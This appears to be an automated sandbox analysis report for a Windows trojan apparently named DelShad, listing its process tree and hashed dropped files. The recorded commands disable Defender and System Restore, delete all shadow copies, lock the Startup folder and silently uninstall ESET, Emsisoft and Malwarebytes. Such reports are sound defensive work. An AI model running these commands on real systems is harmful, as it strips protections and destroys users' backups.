                                    reG add "hkLm\softwAre\mIcrosOFT\WindOWs dEfEnder sECUriTy center\virUs And ThrEAt PrOteCTIon" /v "summarynOtIfIcaTIOndIsABled" /t rEG_dwOrd /d "1" /F
                                    3⤵
                                      PID:2804
                                    • C:\Windows\system32\reg.exe
                                      reg add "hklm\sOftwAre\PolICiEs\miCrOsofT\wIndows\exPlorEr" /V "dIsABLEnOtIFICaTIoncenTer" /T rEG_dWord /d "1" /F
                                      3⤵
                                        PID:4904
                                      • C:\Windows\system32\reg.exe
                                        rEG add "hkCu\sOFtWarE\micrOsOFT\wIndOWs\currenTVersIOn\PUshnOTIfICatIOns" /v "ToastEnablEd" /t rEg_dWord /d "0" /f
                                        3⤵
                                          PID:4232
                                        • C:\Windows\system32\reg.exe
                                          reg Add "hKLm\soFtwarE\pOlicIes\micrOsOfT\wIndOWs dEfEnder sEcuritY CEnter\VIrUs And ThrEAT prOTECTion" /v UIlOCKdOWn /T rEG_dWOrd /d 1 /f
                                          3⤵
                                            PID:3444
                                          • C:\Windows\system32\reg.exe
                                            rEg add "hKlm\softWArE\POlICiEs\miCrOsofT\wIndOWs dEfEndEr seCUrItY cenTEr\ApP and Browser prOtEction" /V uIloCkdoWn /T rEg_dword /d 1 /f
                                            3⤵
                                              PID:1156
                                            • C:\Windows\system32\reg.exe
                                              reG add "hklm\sOFtWarE\POliCiEs\microsofT\wIndows nT\sysTEmrestorE" /V "disAblECOnfIG" /T reG_dword /d "1" /F
                                              3⤵
                                                PID:5116
                                              • C:\Windows\system32\reg.exe
                                                rEG add "hKLm\soFtWAre\POLIcIes\mICrOsOFT\wIndows nT\sYsTemresTore" /v "disabLEsr" /T rEg_dword /d "1" /F
                                                3⤵
                                                  PID:4244
                                                • C:\Windows\system32\reg.exe
                                                  rEG add "hKcU\sOFTWare\mIcrosOFT\WIndoWs\CUrrenTvErsIon\poLiCiEs\aTTaChmenTs" /V "sAvezOnEInformATiOn" /T rEg_dwOrd /d "1" /F
                                                  3⤵
                                                    PID:4844
                                                  • C:\Windows\system32\reg.exe
                                                    reG add "hKLm\sOfTWarE\mICrosOft\windOWs\CurrEnTvErsIon\POLiCIes\AtTachments" /V "sAvEzoneinfOrmATiOn" /T reg_dword /d "1" /f
                                                    3⤵
                                                      PID:2432
                                                    • C:\Windows\system32\reg.exe
                                                      rEg Add "hKlm\soFTWArE\micrOsoFt\windOws\cUrrenTversiOn\POliciEs\AttachmEnTs" /v "scAnwithantivIrus" /t rEG_dwOrd /d "1" /f
                                                      3⤵
                                                        PID:2356
                                                      • C:\Windows\system32\icacls.exe
                                                        icaCLs "C:\Users\Admin\AppData\Roaming\micROSOFT\WiNdOws\StaRt mENu\PrOgRAMs\STaRTuP" /remOve:d "EvErYOnE" /t /C
                                                        3⤵
                                                        • Modifies file permissions
                                                        PID:1880
                                                      • C:\Windows\system32\icacls.exe
                                                        iCaCLs "C:\Users\Admin\AppData\Roaming\micROSOFT\WiNdOws\StaRt mENu\PrOgRAMs\STaRTuP" /denY "eVEryOnE":(dE,dC) /t /c
                                                        3⤵
                                                        • Modifies file permissions
                                                        PID:4060
                                                      • C:\Windows\system32\vssadmin.exe
                                                        vssadmin dELETe shadOws /aLl /QuIEt
                                                        3⤵
                                                        • Interacts with shadow copies
                                                        PID:1624
                                                      • C:\Windows\system32\attrib.exe
                                                        aTTrIb +S +H C:\TMP
                                                        3⤵
                                                        • Sets file to hidden
                                                        • Views/modifies file attributes
                                                        PID:4836
                                                      • C:\Windows\system32\find.exe
                                                        find /c /i "checkappexec.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                        3⤵
                                                          PID:3456
                                                        • C:\Windows\system32\find.exe
                                                          find /c /i "smartscreen-prod.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                          3⤵
                                                            PID:2028
                                                          • C:\Windows\system32\find.exe
                                                            find /c /i "nav.smartscreen.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                            3⤵
                                                              PID:3676
                                                            • C:\Windows\system32\find.exe
                                                              find /c /i "nf.smartscreen.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                              3⤵
                                                                PID:1680
                                                              • C:\Windows\system32\find.exe
                                                                find /c /i "safebrowsing.googleapis.com" "C:\Windows\system32\drivers\etc\hosts"
                                                                3⤵
                                                                  PID:3908
                                                                • C:\Windows\system32\find.exe
                                                                  find /c /i "ars.smartscreen.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                                  3⤵
                                                                    PID:3084
                                                                  • C:\Windows\system32\find.exe
                                                                    find /c /i "apprep.smartscreen.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                                    3⤵
                                                                      PID:3388
                                                                    • C:\Windows\system32\find.exe
                                                                      find /c /i "c.urs.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                                      3⤵
                                                                        PID:404
                                                                      • C:\Windows\system32\find.exe
                                                                        find /c /i "feedback.smartscreen.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                                        3⤵
                                                                          PID:5112
                                                                        • C:\Windows\system32\find.exe
                                                                          find /c /i "ping.nav.smartscreen.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                                          3⤵
                                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                                          PID:3816
                                                                        • C:\Windows\system32\find.exe
                                                                          find /c /i "ping.nf.smartscreen.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                                          3⤵
                                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                                          PID:832
                                                                        • C:\Windows\system32\find.exe
                                                                          find /c /i "t.nav.smartscreen.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                                          3⤵
                                                                            PID:3628
                                                                          • C:\Windows\system32\find.exe
                                                                            find /c /i "t.nf.smartscreen.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                                            3⤵
                                                                              PID:4968
                                                                            • C:\Windows\system32\find.exe
                                                                              find /c /i "t.urs.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                                              3⤵
                                                                                PID:3540
                                                                              • C:\Windows\system32\find.exe
                                                                                find /c /i "unitedstates.smartscreen.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                                                3⤵
                                                                                  PID:4116
                                                                                • C:\Windows\system32\find.exe
                                                                                  find /c /i "unitedstates.smartscreen-prod.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                                                  3⤵
                                                                                    PID:2364
                                                                                  • C:\Windows\system32\find.exe
                                                                                    find /c /i "urs.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                                                    3⤵
                                                                                      PID:3316
                                                                                    • C:\Windows\system32\find.exe
                                                                                      find /c /i "urs.smartscreen.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                                                      3⤵
                                                                                        PID:4340
                                                                                      • C:\Windows\system32\find.exe
                                                                                        find /c /i "slscr.update.microsoft.com" "C:\Windows\system32\drivers\etc\hosts"
                                                                                        3⤵
                                                                                          PID:2000
                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                          wmic product where name="ESET Security" call uninstall /nointeractive
                                                                                          3⤵
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:3352
                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                          wmic product where name="Emsisoft Anti-Malware" call uninstall /nointeractive
                                                                                          3⤵
                                                                                            PID:308
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "emsisoft anti-malware" /f
                                                                                            3⤵
                                                                                              PID:1068
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              cmd /c "C:\Program Files\Malwarebytes\Anti-Malware\mbuns.exe" /uninstall /verysilent /f
                                                                                              3⤵
                                                                                                PID:1632
                                                                                          • C:\Windows\system32\vssvc.exe
                                                                                            C:\Windows\system32\vssvc.exe
                                                                                            1⤵
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:3652
                                                                                          • C:\Windows\system32\msiexec.exe
                                                                                            C:\Windows\system32\msiexec.exe /V
                                                                                            1⤵
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:4356

                                                                                          Network

                                                                                          MITRE ATT&CK Enterprise v15

                                                                                          Replay Monitor

                                                                                          Loading Replay Monitor...

                                                                                          Downloads

                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                            Filesize

                                                                                            2KB

                                                                                            MD5

                                                                                            6cf293cb4d80be23433eecf74ddb5503

                                                                                            SHA1

                                                                                            24fe4752df102c2ef492954d6b046cb5512ad408

                                                                                            SHA256

                                                                                            b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                                                                            SHA512

                                                                                            0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                            Filesize

                                                                                            1KB

                                                                                            MD5

                                                                                            548dd08570d121a65e82abb7171cae1c

                                                                                            SHA1

                                                                                            1a1b5084b3a78f3acd0d811cc79dbcac121217ab

                                                                                            SHA256

                                                                                            cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

                                                                                            SHA512

                                                                                            37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                            Filesize

                                                                                            1KB

                                                                                            MD5

                                                                                            128b92209197100ce7aff24e1fcb531e

                                                                                            SHA1

                                                                                            3333b685091e506aba63a8fa480abcb3e387ca11

                                                                                            SHA256

                                                                                            486ea5d4e5a060d5e2b325a29184963117b806eac4c3c8f2054e270977a6a76b

                                                                                            SHA512

                                                                                            75aa70ee708b793be9a72a11a6e60c356181bbb93d6c2addd627606974048733f760850f4022926fc0f13b8a7dcdd94cd4b4a5374a0e57d236525649fe7a221f

                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                            Filesize

                                                                                            1KB

                                                                                            MD5

                                                                                            8acf8824ca8a7a5f6006d7027cb222df

                                                                                            SHA1

                                                                                            3e31fd65c6af8d1478abb028e45a0c6ddb9551d4

                                                                                            SHA256

                                                                                            e60b40ecf21924803020ea1b8683bd03a447fbcb3b0f03973f55af26d460a0e4

                                                                                            SHA512

                                                                                            a0011284c3deef2ce1a27f5788579a956892c64c88fe4107b90ce0c6d27b549f4adfcb5d157aa7e03db23b2f40a98b9e11846444a8edbef9f2b6775d300a89e1

                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                            Filesize

                                                                                            1KB

                                                                                            MD5

                                                                                            873ba23f7e507f90cc56b43e045ec280

                                                                                            SHA1

                                                                                            90daa1586ebe076fca078be2bcaf7dce463653e3

                                                                                            SHA256

                                                                                            ae29c38c2dd18cad6a19583cc849e538455fa3f0d87cfdd44894dc78c70c8097

                                                                                            SHA512

                                                                                            2c458439159ebc6165b0917310b5ce47eefd1a025cd7f4bac9897d1bb985a72b917978cdfb37fca35d1d18c68d65e5b310ba8619c73a9db353605d5a930cdea5

                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                            Filesize

                                                                                            1KB

                                                                                            MD5

                                                                                            1c8ed1293d221f14d6142addad60bb7e

                                                                                            SHA1

                                                                                            6c236459abbd5617fe62f1c1898c5cdc072f0bcb

                                                                                            SHA256

                                                                                            0992caa251b9bdf1f789dcf487dc29dad58f2376578573c037d106f608743dd5

                                                                                            SHA512

                                                                                            3a0716fdbd3a62a065e6f1c5479a495e98bafdd026a3b2c33a0d181ba06069f8f14e910daa69000432da983a0bb87ea4db804562149d58049e393ce0206fe52c

                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                            Filesize

                                                                                            1KB

                                                                                            MD5

                                                                                            65e1866bd8c7557d214595156f8dce98

                                                                                            SHA1

                                                                                            849b6f690d6f01bb67c4a5ed96dfacd18b576168

                                                                                            SHA256

                                                                                            49fcf95b7c221741bf9c043e0eefcc5dddabcdf4aaff46b3f223b238d54e9118

                                                                                            SHA512

                                                                                            61809063e29e1558fa5e297cf3e42bda75df4ed3e505222fa06dedda590772974cb4dbf872c9cd7fdf448f851f13fa5cf601b3adf8621fa4129b004995827f9b

                                                                                          • C:\Users\Admin\AppData\Local\Temp\4l3szsqpghx240699406.tmp

                                                                                            Filesize

                                                                                            224KB

                                                                                            MD5

                                                                                            c3f87d238aaed9863b6793637d2a2b70

                                                                                            SHA1

                                                                                            8125a310c5917614e923f0199c29ba9db940f4e5

                                                                                            SHA256

                                                                                            1e09147618a4cb8a9f1934d7aa7e5a1d63e6b59d520f99d2463da9f985862e28

                                                                                            SHA512

                                                                                            f1ea6ac293be1198fedaa6ab1a797e287d6ec3ad04b4918526a30e1dd53e39f3f7ae859695f5fc263f26433c40e1a295d7bea1ce8d3d15a55adc7c3227533b95

                                                                                          • C:\Users\Admin\AppData\Local\Temp\5w0e2v0n.tmp

                                                                                            Filesize

                                                                                            29KB

                                                                                            MD5

                                                                                            31c5a8d7f0d900bfff09d437a7457478

                                                                                            SHA1

                                                                                            c32f7abbc47949c340a2136bb8cc4787f05b1eff

                                                                                            SHA256

                                                                                            89da44ebaa36a31740f9dbc585cefc3f55cf725f7d8d745b44ba259f0a1d8455

                                                                                            SHA512

                                                                                            0089a7e5e0c3d7b8a226775f30983e901b323846d5263366672390ebbbd9212bd72bdb87c7baeeb09c6438317a66f5ccfc20cd898579190e6bb7579dd1cd158a

                                                                                          • C:\Users\Admin\AppData\Local\Temp\6jxlgcys2lua7de0837xdm1.tmp

                                                                                            Filesize

                                                                                            14KB

                                                                                            MD5

                                                                                            86e766350f927b4fede500e323c47db3

                                                                                            SHA1

                                                                                            8e1fc56f8d7e65abfaaa6481cb6646a3ab65de3e

                                                                                            SHA256

                                                                                            35aae919703c3f308c10c4336ebcd619a2687e0c5ee806291342574fc9062914

                                                                                            SHA512

                                                                                            8764ae5d6c803b5b2c16df8fef071bc2936d58a9e8941ee042d57ca9e63e2ffe8eb7b96256ae142e435db747b2f21884c53b9b3ec95ea6c43677fff0b1fbc9f3

                                                                                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4a53wlik.qgp.ps1

                                                                                            Filesize

                                                                                            60B

                                                                                            MD5

                                                                                            d17fe0a3f47be24a6453e9ef58c94641

                                                                                            SHA1

                                                                                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                            SHA256

                                                                                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                            SHA512

                                                                                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                          • C:\Users\Admin\AppData\Local\Temp\autDD02.tmp

                                                                                            Filesize

                                                                                            11KB

                                                                                            MD5

                                                                                            c87a407a6decc862e3132efc8ab504c9

                                                                                            SHA1

                                                                                            20cd713fa491119aabfd25a7cce7a8209098f903

                                                                                            SHA256

                                                                                            439de9f662754bbcfc211658ce3f1c1730e85df199ed1e067940e28831d2c758

                                                                                            SHA512

                                                                                            8bed0ca582ca5b46f0c6922995343388df0d84d063512308d3f58c31da1811cb2c47b87be0ce5de4a1fb8ce14f89f8f3197f31bb0ca989fa159514f6751e1832

                                                                                          • C:\Users\Admin\AppData\Local\Temp\autDD13.tmp

                                                                                            Filesize

                                                                                            10KB

                                                                                            MD5

                                                                                            bdb4dcbcec51d9ee1afee83221921fee

                                                                                            SHA1

                                                                                            21d56a9334238297d1a09aba46043cc36c9e2d3c

                                                                                            SHA256

                                                                                            9e5d8505b986e40cce00707180334fead34c0c3b590c458305de89e4bbc85f75

                                                                                            SHA512

                                                                                            cad20e6355cfe1e42a4ee7f5350a033ec79b8ed2689d8c6fa11bb1c3ae2a99425f03d95312ed9daf5c2543fc7ce38239fca41700cbecbc02a007a669ffd81fa5

                                                                                          • C:\Users\Admin\AppData\Local\Temp\autDD14.tmp

                                                                                            Filesize

                                                                                            5KB

                                                                                            MD5

                                                                                            3886aae8ae30f288363ce4d2ac4f81c2

                                                                                            SHA1

                                                                                            19441c886b57ed9f4650f614f0d93501d0a33e40

                                                                                            SHA256

                                                                                            37f10f3d46a2886cac6169a398e91dd8cd0cfd06a7b6812e1afb68c4c031b9fd

                                                                                            SHA512

                                                                                            b37aa26a5324723d9b8a7b919c3727565a1e1974ba1316093b59dbe4a75f5e0773288894d7abb403d65688e0e3f29ef4b48af7a8048e64fe36199bf8d371fb31

                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-EJVTG.tmp\Trojan.Win32.DelShad.tmp

                                                                                            Filesize

                                                                                            3.1MB

                                                                                            MD5

                                                                                            40627c5fe58bb5a60606e5be621af052

                                                                                            SHA1

                                                                                            c21ec14767478d0e4bd1184ad6c2c280e2d1342f

                                                                                            SHA256

                                                                                            bd4cbba2f23b512fad5b0c84d2e9502e4bfea75cac78482d22036968e8224b42

                                                                                            SHA512

                                                                                            e418ed7c9768a4237622be7a53b761a45ca4d4cf37643fcfdf9cb2f200a95fc904b213fb1a37befb86e6ff93ae3c5ff0f39243305789236d4031e017ec99085d

                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\.cmd

                                                                                            Filesize

                                                                                            748B

                                                                                            MD5

                                                                                            22a845995279c76177c613100a58d134

                                                                                            SHA1

                                                                                            5cc94610bcdba7b0d514b711852a6cdb56db3ae1

                                                                                            SHA256

                                                                                            ca30adad79ccd83b3dc79f26a58c1552559176f8a271237c6d4d7ccf307920c0

                                                                                            SHA512

                                                                                            0a4a3eb765847ab66e847bb83202ee8ad5d8591659a8be9e3ed4b6863f3aac28f9d4f6e2d4ca5c5efe800cfe30d471122b2f96807c2735dde5c6ade16c064cad

                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\.cmd

                                                                                            Filesize

                                                                                            520B

                                                                                            MD5

                                                                                            6f0d036f6681bac6fd742591ddc62808

                                                                                            SHA1

                                                                                            2e518c19ec29b7a3a69cd9d4c120d3b88d71102b

                                                                                            SHA256

                                                                                            ce8f0822d428e39157fc6ed433b8da7fa7ce62ece2c73bed9930d50f7cb41f24

                                                                                            SHA512

                                                                                            8aeb47d8a15ab62a1a6e23f93a916f361703d2ac64a302d2364d40de016dc2167d653ca905197d81e4c578fdbb81eb88a22c7cd81abe08756ec86dda6a44aaf6

                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\pik.exe

                                                                                            Filesize

                                                                                            135KB

                                                                                            MD5

                                                                                            78c269b72f5b1d9bd4654cef3fb4a986

                                                                                            SHA1

                                                                                            c44db702175e2d474e3221a0de14f01c1f35129b

                                                                                            SHA256

                                                                                            ace03b12b8763bd8567425f288ded8f8f0d9acd62f81de17414bd300d21820ab

                                                                                            SHA512

                                                                                            bc9abf69debc967df59e16491ec533ab59b997d8ea89d7ebc1ba0a04b319d5f3746cd9e22b8b2c10b4ce655fb5a813be08214e142e97107cb07222f7dc19bee5

                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-GAULI.tmp\tmp\rp.exe

                                                                                            Filesize

                                                                                            764KB

                                                                                            MD5

                                                                                            408dd6ade80f2ebbc2e5470a1fb506f1

                                                                                            SHA1

                                                                                            e00293ce0eb534874efd615ae590cf6aa3858ba4

                                                                                            SHA256

                                                                                            4c82fbafef9bab484a2fbe23e4ec8aac06e8e296d6c9e496f4a589f97fd4ab71

                                                                                            SHA512

                                                                                            4dbb2ef7374137edd0e7608822223188dda924967edd8d6650427eace2f90481a8f64b9c3f8bfdec5bc3dd31952d1491685562ce617f2c2c5afc5070cc9a62d0

                                                                                          • C:\Users\Admin\AppData\Local\Temp\kbvc7t58g7u3ky240705343.tmp

                                                                                            Filesize

                                                                                            96KB

                                                                                            MD5

                                                                                            40f3eb83cc9d4cdb0ad82bd5ff2fb824

                                                                                            SHA1

                                                                                            d6582ba879235049134fa9a351ca8f0f785d8835

                                                                                            SHA256

                                                                                            cdd772b00ae53d4050150552b67028b7344bb1d345bceb495151cc969c27a0a0

                                                                                            SHA512

                                                                                            cdd4dbf0b1ba73464cd7c5008dc05458862e5f608e336b53638a14965becd4781cdea595fd6bd18d0bf402dccffd719da292a6ce67d359527b4691dc6d6d4cc2

                                                                                          • C:\Users\Admin\AppData\Local\Temp\qtc9j1wbnrqd240699406.tmp

                                                                                            Filesize

                                                                                            288KB

                                                                                            MD5

                                                                                            835216de14bf2793abd0586da1d76ce1

                                                                                            SHA1

                                                                                            bd87afd6af0104d875ccd1216543efedc79e0348

                                                                                            SHA256

                                                                                            27fbf4c0081c9f9116dc8ac834b418d2e5e487a234b311c4d01df520e632ac42

                                                                                            SHA512

                                                                                            340834eab831ddf8caa8ea671e852dd02a203730a2dfde79789a843343916e6b5e644556646ae9c3a149220960442669b7e66755819afd8f9825a79032e7623f

                                                                                          • C:\Users\Admin\AppData\Local\Temp\s0g722c9e4j4ta1w240699406.tmp

                                                                                            Filesize

                                                                                            10KB

                                                                                            MD5

                                                                                            28bd22d15439cc77c7c0fe7cf08c00be

                                                                                            SHA1

                                                                                            e2ab393f9b56244fe1a6f74a90d44309c3fdd72c

                                                                                            SHA256

                                                                                            059272d6cd27138a93b2e057fc0be12fcea0103ad13039bdd96d0e5b45979904

                                                                                            SHA512

                                                                                            f623cb0bef8ef79b59c751d4f86d49625e096dc96b276f830cba9847294006188b933574148305d2e4da9a9b720ee4dbcc0681f040ea844b4e8ae5685a0d9fb8

                                                                                          • C:\Users\Admin\AppData\Local\Temp\write.zip

                                                                                            Filesize

                                                                                            4.9MB

                                                                                            MD5

                                                                                            3e67b93b520e02f8f2e921699058dc67

                                                                                            SHA1

                                                                                            46389ff76252d50c084ca75562ca8f1e52a1600b

                                                                                            SHA256

                                                                                            46a81ce975d504053383859df735eb7e2d07b462f6579e34ff31abe4f387868c

                                                                                            SHA512

                                                                                            82831ef410c4e5b247365881cc4f9d427e19cde81a98a1ef274df74dbb6457db111d789f80261994b4b4018fd6c8cace87bbc8bb85e0f00ba20e4e713d464f7c

                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                            Filesize

                                                                                            6KB

                                                                                            MD5

                                                                                            e1c4dd4d5d8d148fbd453dd494f573a9

                                                                                            SHA1

                                                                                            15a3c81ae4528cd8ceb9c4ce7ee1fdb354aeeff9

                                                                                            SHA256

                                                                                            4aa90af4d0ac7e0ec31026c6c8fa477b950cb3e489887c23743252b1258452ed

                                                                                            SHA512

                                                                                            3bd5d67b1af2180b2c335f6b0034eea571140437bfa43aa3e4e860b00582d4609e565e1fe8d3f09c752feaea7decbc014203e85930ccb10cdb49ba7d9ddb958b

                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                            Filesize

                                                                                            6KB

                                                                                            MD5

                                                                                            561de019b9840a42747a02592313ff87

                                                                                            SHA1

                                                                                            c719ffcb7f0a14cf423701538ed3260eab73cd0f

                                                                                            SHA256

                                                                                            8c8f14a0e1291359222b414da52809cfbe2617c1bf8ed74ac659681012d44bd7

                                                                                            SHA512

                                                                                            28bb19843da07444da3b2332f6960a63ad01fd7afde7551fc4fe50c9de894cd065629381202ffe7be6671a7ea7a6fc0aadf9a3842d415bf6d6db9e8b4c6002c6

                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                            Filesize

                                                                                            6KB

                                                                                            MD5

                                                                                            9a806d8fa80b249b8496970f0e861757

                                                                                            SHA1

                                                                                            f66d889c631374d20f34f63080e70d0fc1b64c34

                                                                                            SHA256

                                                                                            255640b1083a1404de2776d2bfdf7e0f62bb2f3e8768b0123483bb2b138208c7

                                                                                            SHA512

                                                                                            8e9662ed95a168263c6da255a12f6be7912c6e0d1483345e8c068633f24a5a59ca9380120561e0d90fc4367a79bf5dfe00b368891581ace1f794be92736f41fc

                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                            Filesize

                                                                                            6KB

                                                                                            MD5

                                                                                            566196008fd3b62fea9bb56193337a45

                                                                                            SHA1

                                                                                            7ce0b22d7ef882fd1e75b7ec9aa9f9cf6c37ee0f

                                                                                            SHA256

                                                                                            935a35d6b093da96fe41078e8c9e94bf3739c0473468381f038abe4897a2d3b3

                                                                                            SHA512

                                                                                            91d46b12a52e70070c89e8ff14381e94b08e1c77571e516bacdc19c8cbc657c1e6c018d43361beafb4fc361c660bb1546a0eb6b7e3305a5ee4c6d7e6b85584d4

                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                            Filesize

                                                                                            6KB

                                                                                            MD5

                                                                                            dc3369dfedf8231eb340f9d7777ee067

                                                                                            SHA1

                                                                                            44e1401599d4f6bb2936b092a95168611a8e1e53

                                                                                            SHA256

                                                                                            ab37d732267dbd467901d741cf45422ea39f16a6fb8e95269fe9778a3a6468ef

                                                                                            SHA512

                                                                                            ddc7a9a769cf5293dbaf9961dced1e8f1231a1c9054c0849f44a0257dbdee10562a523632951d122dfe73ef72345978cff59a6bbb8e80a4d6209a5aa477fd5a5

                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                            Filesize

                                                                                            6KB

                                                                                            MD5

                                                                                            ca986d9782f99b6f0282259ce0d15a25

                                                                                            SHA1

                                                                                            d610fe9bd5f719efa3769208e48947a888593a93

                                                                                            SHA256

                                                                                            551551236a850c5a767f4d2aab66d4f4d80b3ca42419cd63b2954966de50ac88

                                                                                            SHA512

                                                                                            d0adba5eb2d6a6cd15838131bc2a1e242f6cf09b435529e97f652a3ccfdade3b214037b8500fde243cb793ae6f3c19a38b0caf148d9729bf33f6369f893fa469

                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                            Filesize

                                                                                            6KB

                                                                                            MD5

                                                                                            3b908c0ed8a6c413ede0a4aeb54f2a40

                                                                                            SHA1

                                                                                            69c4a4378372921adf424f4b0c9245d158282413

                                                                                            SHA256

                                                                                            e9a953d94ac65ce488b80e6e1b06f3ae883db98cc7ed3075725dc89530ef38f3

                                                                                            SHA512

                                                                                            3095c2031dec75724ae3e0193176c15aa0fe26e223ac1090d2a12cc29a1385d04a31e9e0e2085aa9c9ce8d85bed7216936e4d687c34f42dd96228ac93f5073bb

                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                            Filesize

                                                                                            6KB

                                                                                            MD5

                                                                                            6adbe54e7281dab7b9768820ebd2e62e

                                                                                            SHA1

                                                                                            0291a89afcb83a19ee8e75419520ed3692cfc272

                                                                                            SHA256

                                                                                            ace92c691485841c62c1a47dfca56371551bca2f999276816d8b9e64babf9f65

                                                                                            SHA512

                                                                                            89d1d1d0010f521ac7f2b6496cc686b3bbf0084f69599f19c82d4315a02aec23da7779c6a15f7118f162ba2e14eda7b958b14bb701ddce3d88e4e2727646adcd

                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                            Filesize

                                                                                            6KB

                                                                                            MD5

                                                                                            7e2354d86543f4adfaa93dae40700ed6

                                                                                            SHA1

                                                                                            5278d86e64943509eeb7aed3601bfb019c82358d

                                                                                            SHA256

                                                                                            207710a217eebe8a716270e9c91e2db281150be60197e8da8c207d24904796a1

                                                                                            SHA512

                                                                                            76a2bbd7ee20e7f19840caab62caa10cf5b9ed32c7e6417870ce2fd4e874aa6bddcb2a954df156856107c437fc175514f833deaef57a2bd8c1af81f8cca44ad5

                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                            Filesize

                                                                                            6KB

                                                                                            MD5

                                                                                            2346739c2cf73bd8477d82cbddbede56

                                                                                            SHA1

                                                                                            d93cde020b27e2579dea31c942bebf288686b83c

                                                                                            SHA256

                                                                                            fa21d4a3623da30d15d18421819bd95398a4dad3514b728b8b2c886a61b17936

                                                                                            SHA512

                                                                                            7da379f73724abe2af4ba427ef5ac47c3f99ebb78eea3dcc4e09e87b53c5ad740e6cb225bab02356c2db7948320b5937565d71b7b4f601107933387235b107ef

                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows11InstallationAssistant.lnk

                                                                                            Filesize

                                                                                            1KB

                                                                                            MD5

                                                                                            c223a35366076d73ab31526be380631d

                                                                                            SHA1

                                                                                            5b8ba5941058637a11d271a2ba43f679717f62cc

                                                                                            SHA256

                                                                                            909ee3e3d9d9aee194ccf9401f21a5e6fa986845b657ce76dd10800f94a3b353

